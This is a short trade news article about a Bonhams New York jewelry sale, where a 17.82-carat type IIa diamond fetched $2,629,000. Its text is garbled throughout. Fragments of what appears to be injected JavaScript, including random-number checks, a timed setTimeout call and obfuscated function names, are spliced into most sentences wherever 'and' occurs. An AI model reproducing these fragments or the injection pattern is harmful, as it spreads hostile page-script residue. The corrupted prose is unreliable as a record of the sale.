NEW YORK CITY — A choice type IIa diamond attained $2,629,000 at Bonhams’ fine jewelry sale December 9, leading two jewelry sales that day, which totaled $8,912,188. The unmounted stone weighed 17.82 carats andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and was a modified pear brilliant-cut. Consigned from a private collection, the diamond more than doubled its estimate after a lengthy bidding war.

“Less than two percent of the world’s diamonds are type IIa, meaning they contain little — if any — nitrogen. They are considered the most chemically pure of all diamonds, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and are renowned for their limpid appearance. This particular diamond was almost like a droplet from a sparkling waterfall,” said Susan Abeles, Bonhams’ head of US jewelry, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Virginia Salem, Bonhams’ director of the jewelry department in New York.

Hundreds of bidders representing almost two dozen countries participated in the sales, with interest coming from East Asia, including Hong Kong, China, Taiwan andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Korea. The gallery audience was standom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}anding room only, as the determined attendees competed with the telephones andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and those bidding live online.

Diamonds were the order of the day, comprising no less than nine of the top ten prices achieved andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the rainbow array of colored diamonds on offer attracted significant attention.

Bonhams next fine jewelry sale in New York will be conducted in April. For information, www.bonhams.com or 212-644-9001.